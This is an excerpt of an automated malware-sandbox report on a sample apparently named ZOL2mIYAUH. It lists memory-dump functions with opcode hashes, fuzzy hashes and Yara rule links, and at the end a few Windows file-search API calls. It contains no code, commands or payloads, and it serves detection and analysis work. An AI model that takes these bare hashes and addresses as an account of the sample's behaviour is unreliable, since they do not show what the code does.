                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4ac2866974c4044a0da75b0b588150c4ac4d907e2e1448338af6c67ad8f567af
                                                                                                                        • Instruction ID: fb034095579dc91fc6f497e5ff91b3d408ae7312500123c97302bc16fe3fa504
                                                                                                                        • Opcode Fuzzy Hash: 4ac2866974c4044a0da75b0b588150c4ac4d907e2e1448338af6c67ad8f567af
                                                                                                                        • Instruction Fuzzy Hash: 4DE06D30708016CBD34C4E27E644339329BB7C9B10F159972E55ACB245F775AC51BB45
                                                                                                                        Function 045E7B47 Relevance: .0, Instructions: 23COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f137ebb267153f6959c89909540f7a7252771c7412ab106ad8e04715b4c3473a
                                                                                                                        • Instruction ID: 40395e6134fef4b2e5150fedb8bd7a3fa0b0e3958cb37f2459630cf6c1c4e359
                                                                                                                        • Opcode Fuzzy Hash: f137ebb267153f6959c89909540f7a7252771c7412ab106ad8e04715b4c3473a
                                                                                                                        • Instruction Fuzzy Hash: 72E0D87172400CCBE34C8A16D905575379BB3CD211B248996FD55CB244F770AC167A45
                                                                                                                        Function 045E744E Relevance: .0, Instructions: 21COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: fba950a704a6c6da8ab115b1a9d84f5f2c635ca4b12bf74ecaa8fd1e96886e2b
                                                                                                                        • Instruction ID: 98887a6e0c7bcfbe9ee530ffacc21afcbd4b8f10dda798097bf0be949bbc5464
                                                                                                                        • Opcode Fuzzy Hash: fba950a704a6c6da8ab115b1a9d84f5f2c635ca4b12bf74ecaa8fd1e96886e2b
                                                                                                                        • Instruction Fuzzy Hash: 73E08660B08189CBC70D6BA5E11C2797E96BBC8246F20587FB143C77C9DE249811BF0A
                                                                                                                        Function 045E757B Relevance: .0, Instructions: 21COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1f896792ae21fb26af488c536a8cd429882d0512e5010a0828006c5696ba75dc
                                                                                                                        • Instruction ID: 72890ad2c637a9655b0aec9f1d0df742896a865cc896c496e16d1064f891ae3c
                                                                                                                        • Opcode Fuzzy Hash: 1f896792ae21fb26af488c536a8cd429882d0512e5010a0828006c5696ba75dc
                                                                                                                        • Instruction Fuzzy Hash: 0CF01534A04005CFD308DF15E189AB9B7F2BB8C711F2988A6F4068B385CB31A800EF26
                                                                                                                        Function 045E76FF Relevance: .0, Instructions: 21COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 77ae1186c5eb38d172cca8b6dd6f6139f1f0ea819d20bdebd99ac34e209599cb
                                                                                                                        • Instruction ID: 327eb0a8a09f829e7c70fc02429d8fe2b2fe898bfb73ef74429ca56aae208834
                                                                                                                        • Opcode Fuzzy Hash: 77ae1186c5eb38d172cca8b6dd6f6139f1f0ea819d20bdebd99ac34e209599cb
                                                                                                                        • Instruction Fuzzy Hash: 78F01534A04005CFC308DF65E198AB9B7E2FB8C711F2988A6F1068B345CB31A840EE16
                                                                                                                        Function 045E7855 Relevance: .0, Instructions: 21COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a9790a5a3a4025507c75916e50ca2176b12278a15eeae04c6f956f15dc7dea06
                                                                                                                        • Instruction ID: 60fd660d900a5982bd986ab81fedf83e710edfd70d2d2153d3ea28489799f954
                                                                                                                        • Opcode Fuzzy Hash: a9790a5a3a4025507c75916e50ca2176b12278a15eeae04c6f956f15dc7dea06
                                                                                                                        • Instruction Fuzzy Hash: EBF01534A04005CFC308DF14E298BB9B7E2FB8C311F5688AAF5068B385DB30A840EE16
                                                                                                                        Function 045EAE9D Relevance: .0, Instructions: 16COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: bf37ab261c589600f56eb7b55e21a650bdbc9b18df4a1e4d0d19e89194611f5f
                                                                                                                        • Instruction ID: 3f667f2582e1a8d09bfb7f9342e48500c425e1f4adad96efdd5ea76446879155
                                                                                                                        • Opcode Fuzzy Hash: bf37ab261c589600f56eb7b55e21a650bdbc9b18df4a1e4d0d19e89194611f5f
                                                                                                                        • Instruction Fuzzy Hash: 8AD0A9327062088FCB098A2EE0494B8BB70FF4266230041EAE084CF932E2206C12D780
                                                                                                                        Function 045E74F1 Relevance: .0, Instructions: 15COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3d562836d5423cf15e77db049800edefcf598451d04fdd4ce58769afeff014e7
                                                                                                                        • Instruction ID: 686ccfbd234d582ffb6e0fe881fc1afe9c8099081419ed922ae44f96d95a7258
                                                                                                                        • Opcode Fuzzy Hash: 3d562836d5423cf15e77db049800edefcf598451d04fdd4ce58769afeff014e7
                                                                                                                        • Instruction Fuzzy Hash: CCE01730E09140CBE70CAF66E19462CBBA2FB8C711F199855F1028B395CB38E841EA0A
                                                                                                                        Function 045E7401 Relevance: .0, Instructions: 14COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: d71e2f45258dddfb517791c0cc623f762201bfaa44710875e5aac87afd9f6f66
                                                                                                                        • Instruction ID: 5a2750bc56b4c9238133da01d62f3b83e9588d840edcea3861be9c26db98c16f
                                                                                                                        • Opcode Fuzzy Hash: d71e2f45258dddfb517791c0cc623f762201bfaa44710875e5aac87afd9f6f66
                                                                                                                        • Instruction Fuzzy Hash: 21E0EC347141008FD3489F24D259A78B7E2BB8C251B61485AF403C7344DF219C119E16
                                                                                                                        Function 045E46E9 Relevance: .0, Instructions: 14COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f916f85adaa4b23b28c9f5e28101143c78f5c569dedbe8492fb1df93986deba3
                                                                                                                        • Instruction ID: a27c8ba6ed8bcefb7a9a2d9bc5c7022fbe8f1423089e30684ac75a7cb9382603
                                                                                                                        • Opcode Fuzzy Hash: f916f85adaa4b23b28c9f5e28101143c78f5c569dedbe8492fb1df93986deba3
                                                                                                                        • Instruction Fuzzy Hash: 06E01730A08284DFDB588F12D18472977B3FB4A312F158A65E55187684C33AF995EF85
                                                                                                                        Function 045E73C0 Relevance: .0, Instructions: 14COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3a08c0a0c051d52da7cfe0a358c757ecf5aa64b816984782a666d194880dada6
                                                                                                                        • Instruction ID: 82621b8414c7814857656fd07756ac0516ff65555c2caecf408aa689f81c9fc8
                                                                                                                        • Opcode Fuzzy Hash: 3a08c0a0c051d52da7cfe0a358c757ecf5aa64b816984782a666d194880dada6
                                                                                                                        • Instruction Fuzzy Hash: 05E01234B040048FD704DF24D659AB9BBE6FB8C755B25489AF407C7344CE719801AE16
                                                                                                                        Function 045E3578 Relevance: .0, Instructions: 13COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e96ded78aeb6d28df0bf9b9f307df8a5928e0665ed79249e51ba122f3d47884b
                                                                                                                        • Instruction ID: bba63ebb718c7309255b93be02c3cae58e6eee17ffa0ff64e480542f418b13a6
                                                                                                                        • Opcode Fuzzy Hash: e96ded78aeb6d28df0bf9b9f307df8a5928e0665ed79249e51ba122f3d47884b
                                                                                                                        • Instruction Fuzzy Hash: 6BD05E70906204DFCB69CF51E64012977B3FF46301B204868D54A87604C336B912DB04
                                                                                                                        Function 045E454E Relevance: .0, Instructions: 12COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 237bcc177c556abccd73605706af717bb06e74c1ae0b14e5b170d6977ad5febe
                                                                                                                        • Instruction ID: 5be780281dbb10b3ba06e30137de147d618b5851e62d58a61e0f6c1bad9866a1
                                                                                                                        • Opcode Fuzzy Hash: 237bcc177c556abccd73605706af717bb06e74c1ae0b14e5b170d6977ad5febe
                                                                                                                        • Instruction Fuzzy Hash: EAD05E30A04240CFE31C8F11D088761B373FB8A303F194B74E0028B290C739B8C5EA44
                                                                                                                        Function 045E747A Relevance: .0, Instructions: 11COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 85059099a3b786d4bf16a25e96010ae8c00aa71667196ff5f50392636c616ea8
                                                                                                                        • Instruction ID: 90b38d78710678df77276566943692ddfb7ae4d6e772be51a2fccf34f2b89c1a
                                                                                                                        • Opcode Fuzzy Hash: 85059099a3b786d4bf16a25e96010ae8c00aa71667196ff5f50392636c616ea8
                                                                                                                        • Instruction Fuzzy Hash: 05D0C930608145CBD708CE06E0847B977A2F749710F5499A1E2054F685D735AC84FA46
                                                                                                                        Function 045E7BAC Relevance: .0, Instructions: 11COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1171c262c3e38c35cfd72ce7493cb5c980c55494a2ed328f19cd0edced3fd4ad
                                                                                                                        • Instruction ID: 5f9f6334a91e53310d22ffcd96b2a803180310b7cfe90a7c99b3ecb6c1778a0d
                                                                                                                        • Opcode Fuzzy Hash: 1171c262c3e38c35cfd72ce7493cb5c980c55494a2ed328f19cd0edced3fd4ad
                                                                                                                        • Instruction Fuzzy Hash: D3D0C931605102CBD30D8F4AF18877C73A2F789310F5468A1E2094F295D734A944EA0A
                                                                                                                        Function 045E3621 Relevance: .0, Instructions: 10COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b9d053851d9d8258d3b64116e8fbeab3b03ccb81504d54fdabeb4677e5411913
                                                                                                                        • Instruction ID: 9ebfed308a82392b1b4d7b478504263fb04be6b70c9ccd7f70723860fe884252
                                                                                                                        • Opcode Fuzzy Hash: b9d053851d9d8258d3b64116e8fbeab3b03ccb81504d54fdabeb4677e5411913
                                                                                                                        • Instruction Fuzzy Hash: 04C0807051C7008FC3155710D554D9137A0FB51340B074955D4425F151D51C7D179551
                                                                                                                        Function 045E6961 Relevance: .0, Instructions: 10COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1a803a6174597a03bec7bf0863e460c26bcb66c3325d052c4d2fd371a01b1a3f
                                                                                                                        • Instruction ID: ed27f1f095268b7d473a6ba2c3cc2327b82d364c59aa56967abde53e41b6a7be
                                                                                                                        • Opcode Fuzzy Hash: 1a803a6174597a03bec7bf0863e460c26bcb66c3325d052c4d2fd371a01b1a3f
                                                                                                                        • Instruction Fuzzy Hash: E1C012B200C2868BD306AB20DA92489BBA4AEC228477B008AC0C4CF5B2D620861E8200
                                                                                                                        Function 045E8650 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 8b8a3fad6603968f3c6e8f0a55dd25bc6dbcc666802aaade519a4af6865a43b4
                                                                                                                        • Instruction ID: 825368c393f1be04159f364606c8011ff8a711a16865b0e24f1efa97fdd31a10
                                                                                                                        • Opcode Fuzzy Hash: 8b8a3fad6603968f3c6e8f0a55dd25bc6dbcc666802aaade519a4af6865a43b4
                                                                                                                        • Instruction Fuzzy Hash: B4C00234E40049ABDB097AA9E9144EDFB76EF88340BA08859FA1263264DA356814AF56
                                                                                                                        Function 045E7765 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ba5c6689e6421ff86281a93588497662b030fb0da09bc5dc01f8102e0aa452b6
                                                                                                                        • Instruction ID: fa1f8c2093ffc05d93a68dfc842b897dcd4cce82b70f6a50bc269a205081d0f1
                                                                                                                        • Opcode Fuzzy Hash: ba5c6689e6421ff86281a93588497662b030fb0da09bc5dc01f8102e0aa452b6
                                                                                                                        • Instruction Fuzzy Hash: 69D0C938754000CFD2089B50D659A65BBE6BB8C301B108466F80283355CE705802DE25
                                                                                                                        Function 045E79CB Relevance: .0, Instructions: 8COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 624a73fd974ba7626e22558a8034967709902b60e3c129ddfb1a689566685024
                                                                                                                        • Instruction ID: 63b6cf44ecc51d4a393e1f593d6fbc0960f4e5fce34dc4e4e1353a59dfbeed0c
                                                                                                                        • Opcode Fuzzy Hash: 624a73fd974ba7626e22558a8034967709902b60e3c129ddfb1a689566685024
                                                                                                                        • Instruction Fuzzy Hash: E3C08C34B04110CFC30CAF21E11992DBBA2FB8C251F20081AF80383381CF309840DE12
                                                                                                                        Function 045E7B85 Relevance: .0, Instructions: 8COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c66e74b3dd4c1840ce14fb96219fa6459f3bfa652de7f2a94be76404fd5610d7
                                                                                                                        • Instruction ID: 67ffc7fef503a7ca06f283b38ea3b8eb2be9494805fd1a33241a865a4cdcaab6
                                                                                                                        • Opcode Fuzzy Hash: c66e74b3dd4c1840ce14fb96219fa6459f3bfa652de7f2a94be76404fd5610d7
                                                                                                                        • Instruction Fuzzy Hash: 52C08C74300008CFC308AB20D2686AA7BE6FB8C301720445AF803832A6CE749C02EE64
                                                                                                                        Function 045E77EB Relevance: .0, Instructions: 7COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: bd8789150c91c2f41e91616814a698a8dc99656e97c7edc3b93b1e6401a1550e
                                                                                                                        • Instruction ID: aa6563a72e0ec4c497c6521b723fec4695c6a9fba5667a694c8f74f28fb570ef
                                                                                                                        • Opcode Fuzzy Hash: bd8789150c91c2f41e91616814a698a8dc99656e97c7edc3b93b1e6401a1550e
                                                                                                                        • Instruction Fuzzy Hash: E5C09B747401454BD6485771826C7BD76D6DF58742F15097E619347199DE3458009E09
                                                                                                                        Function 045E7352 Relevance: .0, Instructions: 7COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c4ef8d1b7788162e7479256c5a5185721a897d4c3a6f22dc2c1f2494ca3616e6
                                                                                                                        • Instruction ID: e052a2b80f72ba4599633b67cfec9f44e445bd4e2df40739da4f333ea47ac26e
                                                                                                                        • Opcode Fuzzy Hash: c4ef8d1b7788162e7479256c5a5185721a897d4c3a6f22dc2c1f2494ca3616e6
                                                                                                                        • Instruction Fuzzy Hash: 98B09220208046C7D60C1956A08033E2247F78D700F145961E3024A68A8638A880710B
                                                                                                                        Function 045E3C9C Relevance: .0, Instructions: 6COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 7579b00bbbe6b2e437736f663b996986af3d9d4f5e16c5c3626d2fdd83b7f270
                                                                                                                        • Instruction ID: 7f84003d5009a4822d4cd4334f4bac748d85853392df5309067752121cee1260
                                                                                                                        • Opcode Fuzzy Hash: 7579b00bbbe6b2e437736f663b996986af3d9d4f5e16c5c3626d2fdd83b7f270
                                                                                                                        • Instruction Fuzzy Hash: 34B09278B012088BDB064F80D46866E7B2AFB88380F608411980653364C674A921AB91
                                                                                                                        Function 045E0B20 Relevance: .0, Instructions: 5COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c939481a953833c47237fd848c4986cea270ea3b3a14a126d10788043d4f6ab9
                                                                                                                        • Instruction ID: 0de41c98e44a14d4de2aebbd1a1cd0cee0776bf417571e98254ed76d9676f199
                                                                                                                        • Opcode Fuzzy Hash: c939481a953833c47237fd848c4986cea270ea3b3a14a126d10788043d4f6ab9
                                                                                                                        • Instruction Fuzzy Hash: 3D9022300C020C8B020023803008003B32CA0000003800800A00C028020A8220300880
                                                                                                                        Function 045E3B82 Relevance: .0, Instructions: 5COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 94d67bc1af6a1b545f5b51f39a5e1314e9b1edca884410b1d7dfdf7f2f27867a
                                                                                                                        • Instruction ID: 4055e579764bee8bf94f8901074dec1606c6f23336cb3fb953f5b7df533ee63e
                                                                                                                        • Opcode Fuzzy Hash: 94d67bc1af6a1b545f5b51f39a5e1314e9b1edca884410b1d7dfdf7f2f27867a
                                                                                                                        • Instruction Fuzzy Hash: F3B01231305300CBE3194B21C108325B373FF84301F208D2DC887436948B3AE885DB00
                                                                                                                        Function 045E76D0 Relevance: .0, Instructions: 3COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 0c6c00f6f7ba82b3999f25e4a1f7cea2e5bbf4edb3d6515fc90848178d93050b
                                                                                                                        • Instruction ID: ef2d74904fb5d6b352160453ccfe4969377315f1acbc3d8a1521ccc8a6ea6d78
                                                                                                                        • Opcode Fuzzy Hash: 0c6c00f6f7ba82b3999f25e4a1f7cea2e5bbf4edb3d6515fc90848178d93050b
                                                                                                                        • Instruction Fuzzy Hash: 6A90022464614587D2052516D108369B615E388351F205C11640252B455668D4D1BD95
                                                                                                                        Function 045E6125 Relevance: .0, Instructions: 3COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000000.00000002.3718171161.00000000045E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045E0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_0_2_45e0000_ZOL2mIYAUH.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1c0faf90721c18b7dc1debbf6e194675e83bf6de246602de64c91ef7618daab2
                                                                                                                        • Instruction ID: 1003543c34fb94e8e8c5dce7d9347e1cd37ae2a0c1e992768c86f85807c0adc9
                                                                                                                        • Opcode Fuzzy Hash: 1c0faf90721c18b7dc1debbf6e194675e83bf6de246602de64c91ef7618daab2
                                                                                                                        • Instruction Fuzzy Hash:

                                                                                                                        Non-executed Functions

                                                                                                                        Function 00469CD8 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 136stringfileCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • lstrcpyn.KERNEL32(?,?,?), ref: 00469D36
                                                                                                                        • lstrcpyn.KERNEL32(?,?,?,kernel32.dll,0046AB30,?,0046F090), ref: 00469D9A
                                                                                                                        • lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,0046AB30,?,0046F090), ref: 00469DCF
                                                                                                                        • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,0046AB30,?,0046F090), ref: 00469DE2
                                                                                                                        • FindClose.KERNEL32(00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,0046AB30,?,0046F090), ref: 00469DEF
